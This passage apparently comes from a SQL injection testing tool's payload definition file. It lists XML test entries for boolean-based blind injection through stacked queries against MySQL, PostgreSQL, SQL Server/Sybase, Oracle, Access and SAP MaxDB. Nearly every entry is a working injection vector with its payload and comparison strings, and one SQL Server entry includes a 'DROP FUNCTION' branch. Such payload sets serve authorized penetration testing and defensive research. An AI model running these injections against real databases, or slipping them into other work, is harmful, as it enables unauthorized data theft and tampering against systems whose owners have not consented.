<payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</payload>
|
|
<comment>#</comment>
|
|
</request>
|
|
<response>
|
|
<comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>MySQL</dbms>
|
|
<dbms_version>>= 5.0</dbms_version>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>MySQL < 5.0 boolean-based blind - Stacked queries</title>
|
|
<stype>1</stype>
|
|
<level>5</level>
|
|
<risk>1</risk>
|
|
<clause>0</clause>
|
|
<where>1</where>
|
|
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</vector>
|
|
<request>
|
|
<payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</payload>
|
|
<comment>#</comment>
|
|
</request>
|
|
<response>
|
|
<comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>MySQL</dbms>
|
|
<dbms_version>< 5.0</dbms_version>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>PostgreSQL boolean-based blind - Stacked queries</title>
|
|
<stype>1</stype>
|
|
<level>3</level>
|
|
<risk>1</risk>
|
|
<clause>0</clause>
|
|
<where>1</where>
|
|
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/(SELECT 0) END)</vector>
|
|
<request>
|
|
<payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/(SELECT 0) END)</payload>
|
|
<comment>--</comment>
|
|
</request>
|
|
<response>
|
|
<comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/(SELECT 0) END)</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>PostgreSQL</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<!-- Because of the syntax of GENERATE_SERIES() function, the 'then' condition must be 1, do not change it -->
|
|
<test>
|
|
<title>PostgreSQL boolean-based blind - Stacked queries (GENERATE_SERIES)</title>
|
|
<stype>1</stype>
|
|
<level>5</level>
|
|
<risk>1</risk>
|
|
<clause>0</clause>
|
|
<where>1</where>
|
|
<vector>;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1</vector>
|
|
<request>
|
|
<payload>;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1</payload>
|
|
<comment>--</comment>
|
|
</request>
|
|
<response>
|
|
<comparison>;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>PostgreSQL</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF)</title>
|
|
<stype>1</stype>
|
|
<level>3</level>
|
|
<risk>1</risk>
|
|
<clause>0</clause>
|
|
<where>1</where>
|
|
<vector>;IF([INFERENCE]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR]</vector>
|
|
<request>
|
|
<payload>;IF([RANDNUM]=[RANDNUM]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR]</payload>
|
|
<comment>--</comment>
|
|
</request>
|
|
<response>
|
|
<comparison>;IF([RANDNUM]=[RANDNUM1]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR]</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>Microsoft SQL Server</dbms>
|
|
<dbms>Sybase</dbms>
|
|
<os>Windows</os>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>Microsoft SQL Server/Sybase boolean-based blind - Stacked queries</title>
|
|
<stype>1</stype>
|
|
<level>4</level>
|
|
<risk>1</risk>
|
|
<clause>0</clause>
|
|
<where>1</where>
|
|
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)</vector>
|
|
<request>
|
|
<payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)</payload>
|
|
<comment>--</comment>
|
|
</request>
|
|
<response>
|
|
<comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>Microsoft SQL Server</dbms>
|
|
<dbms>Sybase</dbms>
|
|
<os>Windows</os>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>Oracle boolean-based blind - Stacked queries</title>
|
|
<stype>1</stype>
|
|
<level>4</level>
|
|
<risk>1</risk>
|
|
<clause>0</clause>
|
|
<where>1</where>
|
|
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL</vector>
|
|
<request>
|
|
<payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL</payload>
|
|
<comment>--</comment>
|
|
</request>
|
|
<response>
|
|
<comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>Oracle</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>Microsoft Access boolean-based blind - Stacked queries</title>
|
|
<stype>1</stype>
|
|
<level>5</level>
|
|
<risk>1</risk>
|
|
<clause>0</clause>
|
|
<where>1</where>
|
|
<vector>;IIF([INFERENCE],1,1/0)</vector>
|
|
<request>
|
|
<payload>;IIF([RANDNUM]=[RANDNUM],1,1/0)</payload>
|
|
<comment>%16</comment>
|
|
</request>
|
|
<response>
|
|
<comparison>;IIF([RANDNUM]=[RANDNUM1],1,1/0)</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>Microsoft Access</dbms>
|
|
</details>
|
|
</test>
|
|
|
|
<test>
|
|
<title>SAP MaxDB boolean-based blind - Stacked queries</title>
|
|
<stype>1</stype>
|
|
<level>5</level>
|
|
<risk>1</risk>
|
|
<clause>0</clause>
|
|
<where>1</where>
|
|
<vector>;SELECT CASE WHEN [INFERENCE] THEN 1 ELSE NULL END</vector>
|
|
<request>
|
|
<payload>;SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END</payload>
|
|
<comment>--</comment>
|
|
</request>
|
|
<response>
|
|
<comparison>;SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END</comparison>
|
|
</response>
|
|
<details>
|
|
<dbms>SAP MaxDB</dbms>
|
|
</details>
|
|
</test>
|
|
<!-- End of boolean-based blind tests - Stacked queries -->
|
|
</root>
|